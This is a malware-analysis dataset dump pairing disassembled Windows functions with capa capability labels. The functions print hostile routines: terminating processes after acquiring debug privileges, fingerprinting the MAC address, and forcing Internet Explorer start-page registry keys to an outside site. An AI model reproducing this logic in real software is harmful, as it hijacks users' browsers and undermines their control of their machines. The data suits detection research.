joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5bb0e4
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
push ebx
push esi
push edi
push edx
push eax
push 0
mov ebx, edx
xor edi, edi
mov ecx, dword [esp + edx*4 + 0x1c]
test ecx, ecx
je 0x5bb106
cmp dword [eax], ecx
jne 0x5bb106
mov edi, ecx
mov eax, dword [ecx - 4]
dec edx
jmp 0x5bb108
xor eax, eax
mov ecx, dword [esp + edx*4 + 0x1c]
test ecx, ecx
je 0x5bb120
add eax, dword [ecx - 4]
test eax, 0xc0000000
jne 0x5bb18d
cmp edi, ecx
jne 0x5bb120
xor edi, edi
dec edx
jne 0x5bb108
test edi, edi
je 0x5bb145
mov edx, eax
mov eax, dword [esp + 4]
mov esi, dword [edi - 4]
call fcn.005baf84
mov edi, dword [esp + 4]
mov eax, dword [edi]
mov dword [esp], eax
shl esi, 1
add esi, dword [edi]
dec ebx
jmp 0x5bb14f
call fcn.005ba018
mov dword [esp], eax
mov esi, eax
mov eax, dword [esp + ebx*4 + 0x1c]
mov edx, esi
test eax, eax
je 0x5bb165
mov ecx, dword [eax - 4]
shl ecx, 1
add esi, ecx
call fcn.005b7418
dec ebx
jne 0x5bb14f
mov edx, dword [esp]
mov eax, dword [esp + 4]
test edi, edi
jne 0x5bb17f
test edx, edx
je 0x5bb17a
dec dword [edx - 8]
call fcn.005ba4a4
add esp, 8
pop edx
pop edi
pop esi
pop ebx
pop eax
pop eax
lea esp, [esp + edx*4]
jmp eax
jmp fcn.005b81a4

Function at 0x5feed4
Capabilities:
Encode data using xor

Disassembly:
mov ah, 0xa
push ebx
shr ebx, 0xfa
jmp 0x5feec8
in eax, dx
jmp 0x5feec8
pop edx
cmp cl, bh
xor eax, 8
or byte [ebp + 0x1f], bh
pop es
inc ecx
sahf
aad 0x70
sbb eax, 0xdce5500e
pop eax
mov ebx, 0x4c70d671
aam 0xf2
xchg byte [edx], bl
test dword [esi - 0x4758b1b7], edi
xor byte [eax + edx + 0x70], dh
je 0x5fef05
jo 0x5fef0e
pop ss
rcl dword [ecx - 0x80]
jbe 0x5feee1
jecxz 0x5feef3
dec ebp
retf 0x68
xchg esi, eax
push ds
xlatb
mov edx, 0x89c96ff6
pop ecx
xlatb
jo 0x5feecf
or dh, 0x56
xchg esi, eax
and dword [ecx - 0x1b], edx
push ss
push esi
adc dword [eax], ebp
pushal
fidivr word ss:[esi]
ljmp 0xc9b0
Function at 0x402800
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0xc], 0
push esi
mov esi, dword [ebp + 8]
jne 0x402820
mov ecx, esi
call fcn.00402780
test ax, ax
je 0x4028a5
push 0
push esi
push 0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0xcf0000
push dword [0x42b718]
mov dword [0x42b720], esi
push str.Main
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x4028a5
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x40289b
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
mov eax, dword [ebp - 0x14]
pop esi
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x405c50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x405c5b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x405d25
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 1]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 2]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 3]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 4]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 5]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 6]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
movzx eax, byte [edx + 7]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
add edx, 8
sub esi, 8
dec edi
jne 0x405c70
pop edi
test esi, esi
je 0x405d4a
lea esp, [esp]
movzx eax, byte [edx]
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x425358]
lea edx, [edx + 1]
dec esi
jne 0x405d30
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x405d60
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
movsx eax, dl
mov esi, dword [edi]
xor eax, esi
and eax, 0xff
shr esi, 8
mov eax, dword [eax*4 + 0x425358]
xor eax, esi
movzx ecx, al
add ecx, dword [edi + 4]
mov dword [edi], eax
mov eax, dword [edi + 8]
imul ecx, ecx, 0x8088405
inc ecx
mov dword [edi + 4], ecx
shr ecx, 0x18
xor ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x425358]
mov dword [edi + 8], eax
pop edi
pop esi
ret

Function at 0x405db0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
mov bl, dl
mov edx, ecx
mov edi, dword [edx + 8]
mov ecx, dword [edx]
mov esi, edi
and esi, 0xfffd
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
shr eax, 8
xor bl, al
movsx eax, bl
xor eax, ecx
and eax, 0xff
shr ecx, 8
mov eax, dword [eax*4 + 0x425358]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, edi
and eax, 0xff
shr edi, 8
xor edi, dword [eax*4 + 0x425358]
mov al, bl
mov dword [edx + 8], edi
pop edi
pop esi
pop ebx
ret
Function at 0x406580
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, edx
push edi
mov edi, dword [ebp + 0xc]
mov esi, ebx
imul esi, dword [ebp + 8]
cmp byte [edi], 0
mov eax, ecx
mov dword [ebp - 4], eax
je 0x4065c3
push 0
lea ecx, [ebp + 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4065b5
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x4065d4
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.0040edd0
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406600
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov ebx, edx
cmp byte [esi], 0
push edi
mov dword [ebp - 8], ebx
mov edi, 1
je 0x40663b
push 0
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 1]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x406636
mov byte [esi + 8], 1
mov edi, dword [ebp - 8]
jmp 0x406668
mov ebx, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x40664c
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp - 1]
push eax
call fcn.0040edd0
lea eax, [ebx + edi]
mov ebx, dword [ebp - 8]
add esp, 0xc
mov dword [esi + 0x1c], eax
cmp edi, 1
jne 0x40667c
movzx eax, byte [ebp - 1]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x406673
cmp byte [esi + 8], 0
je 0x406673
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4067a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
mov edi, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
je 0x4067d5
cmp byte [edi + 1], 0
je 0x4067cd
push 2
push 0
push 0
push dword [edi + 4]
call ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4067db
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
mov dword [edi + 0x1c], eax
cmp byte [edi], 0
je 0x4067fa
cmp byte [edi + 1], 0
je 0x4067f6
push 1
push 0
push 0
push dword [edi + 4]
call ecx
sub eax, dword [edi + 0xc]
jmp 0x4067fd
xor eax, eax
jmp 0x4067fd
mov eax, dword [edi + 0x1c]
push ebx
mov ebx, 0xffff
cmp eax, ebx
push esi
cmovb ebx, eax
push 0x404
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], ebx
call fcn.0040dbc9
mov esi, eax
add esp, 4
test esi, esi
jne 0x40682c
pop esi
pop ebx
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 4], 0xffffffff
cmp ebx, eax
jbe 0x406927
mov ecx, dword [ebp - 8]
add eax, 0x400
cmp eax, ebx
mov edx, eax
cmova edx, ebx
mov ebx, dword [ebp - 8]
sub ecx, edx
sub ebx, ecx
cmp ebx, 0x404
mov eax, 0x404
cmova ebx, eax
cmp byte [edi], 0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
je 0x40688e
cmp byte [edi + 1], 0
je 0x406927
mov eax, dword [edi + 0xc]
push 0
push 0
add eax, ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x406891
mov dword [edi + 0x1c], ecx
cmp byte [edi], 0
mov ecx, ebx
mov dword [ebp - 0xc], ebx
je 0x4068b9
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4068b4
mov byte [edi + 8], 1
mov eax, dword [ebp - 0x10]
jmp 0x4068e2
mov edx, dword [edi + 0x1c]
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
jbe 0x4068cc
mov ecx, dword [edi + 0x18]
sub ecx, edx
mov dword [ebp - 0xc], ecx
push ecx
mov ecx, dword [edi + 0x14]
add ecx, edx
push ecx
push esi
call fcn.0040edd0
mov eax, dword [ebp - 0xc]
add esp, 0xc
add dword [edi + 0x1c], eax
xor edx, edx
div ebx
cmp eax, 1
jne 0x406927
lea eax, [ebx - 3]
test eax, eax
js 0x406912
dec eax
cmp byte [eax + esi], 0x50
jne 0x40690e
cmp byte [eax + esi + 1], 0x4b
jne 0x40690e
cmp byte [eax + esi + 2], 5
jne 0x40690e
cmp byte [eax + esi + 3], 6
je 0x40693a
test eax, eax
jns 0x4068f2
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406927
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp eax, ebx
jb 0x406840
push esi
call fcn.0040db53
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
add eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
jmp 0x406915
Function at 0x407630
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp dword [edi], 0
jne 0x4076ca
cmp dword [edi + 4], 0xffffffff
jne 0x4076ca
lea esi, [edi + 0x244]
push esi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x407660
sub esi, ecx
sar esi, 1
movzx eax, word [edi + esi*2 + 0x242]
cmp eax, 0x5c
je 0x40768c
cmp eax, 0x2f
je 0x40768c
mov dword [edi + esi*2 + 0x244], 0x2f
lea eax, [ebp - 4]
push eax
push ecx
mov ecx, dword [ebp + 8]
call fcn.004064e0
add esp, 8
test eax, eax
jne 0x4076ab
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, eax
call fcn.00406950
xor ecx, ecx
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov dword [edi], eax
mov eax, ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
pop edi
mov eax, 0x1000000
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x407e50
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x407ef1
push 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0040dc5b
lea ecx, [ebp - 0x20c]
add esp, 0xc
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407e90
sub ecx, edx
sar ecx, 1
je 0x407ed0
movzx eax, word [ebp + ecx*2 - 0x20e]
cmp eax, 0x2f
je 0x407eb3
cmp eax, 0x5c
jne 0x407ed0
lea ecx, [ecx*2 - 2]
cmp ecx, 0x208
jae 0x407ff4
xor eax, eax
mov word [ebp + ecx - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407ef1
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [edi]
test ax, ax
je 0x407fe4
push esi
mov esi, edi
mov ecx, edi
cmp ax, 0x2f
je 0x407f0e
cmp ax, 0x5c
jne 0x407f10
mov esi, ecx
movzx eax, word [ecx + 2]
add ecx, 2
test ax, ax
jne 0x407f02
cmp esi, edi
je 0x407f59
sub esi, edi
and esi, 0xfffffffe
push esi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040edd0
add esp, 0xc
cmp esi, 0x208
jae 0x407ff4
xor eax, eax
lea edx, [ebp - 0x20c]
mov ecx, ebx
mov word [ebp + esi - 0x20c], ax
call fcn.00407e50
xor eax, eax
mov word [ebp - 0x414], ax
pop esi
test ebx, ebx
je 0x407f7c
push 0x104
lea eax, [ebp - 0x414]
push ebx
push eax
call fcn.0040dc5b
add esp, 0xc
lea ecx, [ebp - 0x414]
xor eax, eax
mov word [ebp - 0x20e], ax
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407f90
sub ecx, edx
sar ecx, 1
mov eax, 0x104
sub eax, ecx
push eax
lea eax, [ebp - 0x414]
push edi
lea eax, [eax + ecx*2]
push eax
call fcn.0040dc5b
xor eax, eax
add esp, 0xc
mov word [ebp - 0x20e], ax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407fe4
push 0
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
call fcn.0040e131
int3
Function at 0x408780
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d0e1
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.00411ce0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x400
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4089b1
xor eax, eax
mov dword [ebp - 0x234], 7
mov dword [ebp - 0x238], 0
mov word [ebp - 0x248], ax
cmp word [ebp - 0x218], ax
jne 0x408811
xor ecx, ecx
jmp 0x40882f
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408820
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.004030c0
sub esp, 8
lea eax, [ebp - 0x264]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x264], 0x5c
call fcn.00409bf0
mov edi, eax
xor eax, eax
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
mov byte [ebp - 4], 1
cmp dword [ebp - 0x234], 8
lea edx, [ebp - 0x248]
cmovae edx, dword [ebp - 0x248]
mov dword [ebp - 0x24c], 7
mov dword [ebp - 0x250], eax
mov word [ebp - 0x260], ax
cmp word [edx], ax
jne 0x4088bf
xor ecx, ecx
jmp 0x4088d3
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4088c4
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x260]
call fcn.004030c0
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x238]
sub eax, edi
push eax
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x230]
call fcn.00402cf0
cmp dword [ebp - 0x24c], 8
jb 0x40891a
push dword [ebp - 0x260]
call fcn.0040d11a
add esp, 4
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x408961
push 0
push 0
push 0
push 0x425b74
push 0
call dword [sym.imp.USER32.dll_MessageBoxExW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x21c], 8
jb 0x408978
push dword [ebp - 0x230]
call fcn.0040d11a
add esp, 4
xor eax, eax
cmp dword [ebp - 0x234], 8
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
jb 0x4089ac
push dword [ebp - 0x248]
call fcn.0040d11a
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
Function at 0x4089d0
Capabilities:
Acquire debug privileges
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4089fe
xor esi, esi
jmp 0x408af1
lea eax, [ebp - 0x248]
push eax
push esi
mov dword [ebp - 0x248], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x224]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.0040e20b
add esp, 8
test eax, eax
jne 0x408ad8
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x24c]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x408abc
lea eax, [ebp - 0x254]
push eax
push str.SeDebugPrivilege
push 0
call ebx
test eax, eax
je 0x408ab4
mov eax, dword [ebp - 0x254]
push 0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x250]
push 0
push 0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x24c]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x24c]
call edi
push dword [ebp - 0x240]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x408a22
lea esi, [eax + 1]
cmp dword [ebp + 0x1c], 8
jb 0x408b02
push dword [ebp + 8]
call fcn.0040d11a
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
Function at 0x408b20
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x420]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWARE9ENetWork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x408bb1
push 0
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x804
mov dword [ebp - 0x41c], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push str.RegCreateKeyEx
push dword [ebp - 0x41c]
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push pe_nt_image_headers32
call fcn.0040cf11
add esp, 4
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x424]
push eax
push 0
push str.9E_PID
push dword [ebp - 0x420]
mov dword [ebp - 0x424], 1
mov dword [ebp - 0x428], pe_nt_image_headers32
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x408d16
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x408d16
movzx eax, byte [ebp - 0x409]
push eax
movzx eax, byte [ebp - 0x40a]
push eax
movzx eax, byte [ebp - 0x40b]
push eax
movzx eax, byte [ebp - 0x40c]
push eax
movzx eax, byte [ebp - 0x40d]
push eax
movzx eax, byte [ebp - 0x40e]
push eax
movzx eax, byte [ebp - 0x40f]
push eax
movzx eax, byte [ebp - 0x410]
push eax
movzx eax, word [ebp - 0x412]
push eax
movzx eax, word [ebp - 0x414]
push eax
push dword [ebp - 0x418]
lea eax, [ebp - 0x208]
push str._08X_04X_04X_02X_02X_02X_02X_02X_02X_02X_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x208]
add esp, 0x34
lea edx, [ecx + 2]
jmp 0x408c90
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408c90
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 1]
push eax
lea eax, [ebp - 0x208]
push eax
push 1
push 0
push str.9E_PID
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x408d16
push 0
push 0
lea eax, [ebp - 0x41c]
push eax
push 0x804
mov dword [ebp - 0x41c], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push str.RegSetValueEx
push dword [ebp - 0x41c]
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
Function at 0x409100
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x42c410]
push esi
test al, 1
jne 0x40914e
or eax, 1
mov dword [0x42c410], eax
xor eax, eax
push 0x41d500
mov dword [0x42c40c], 7
mov dword [0x42c408], 0
mov word [0x42c3f8], ax
call fcn.0040d9fb
add esp, 4
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x49c], 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x4091be
push dword [ebp - 0x49c]
call fcn.0040dbc9
mov esi, eax
add esp, 4
test esi, esi
je 0x4091be
lea eax, [ebp - 0x49c]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x4091be
cmp dword [esi + 0x1a0], 6
jne 0x4091b8
lea eax, [esi + 0x10c]
push str.Bluetooth
push eax
call fcn.0040e380
add esp, 8
test eax, eax
je 0x4091d2
mov esi, dword [esi]
test esi, esi
jne 0x409197
mov eax, str.ERROR_MAC
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00411ce0
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x210]
push 0x425c94
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x210]
mov esi, 0x42c3f8
push eax
mov ecx, esi
call fcn.00402a50
cmp dword [0x42c40c], 8
mov ecx, dword [ebp - 4]
cmovae esi, dword [0x42c3f8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040d11f
mov esp, ebp
pop ebp
ret
Function at 0x409580
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
mov eax, dword [0x4290c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x4096d6
test edi, edi
je 0x4096d6
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x4b8], ax
lea eax, [ebp - 0x4b6]
push eax
call fcn.00411ce0
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x4b8]
push edi
push ebx
push 0x4260d0
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x4b8]
push 0x258
push eax
call fcn.0040c2f0
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x260], ax
lea eax, [ebp - 0x25e]
push eax
call fcn.00411ce0
add esp, 0xc
lea eax, [ebp - 0x4b8]
push eax
push edi
push ebx
lea eax, [ebp - 0x260]
push str.http:__www.919yi.cn__id_sm_ssM_s
push eax
call esi
lea edi, [ebp - 0x260]
add esp, 0x14
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x409633
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
sub edi, ecx
sar edi, 1
lea eax, [ebp - 0x260]
lea edi, [edi*2 + 2]
push edi
push eax
push 1
push str.IEHome
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x260]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x260]
push eax
push 1
push str.Start_Page
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x260]
push eax
push 1
push str.Start_Page
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x260]
push eax
push 1
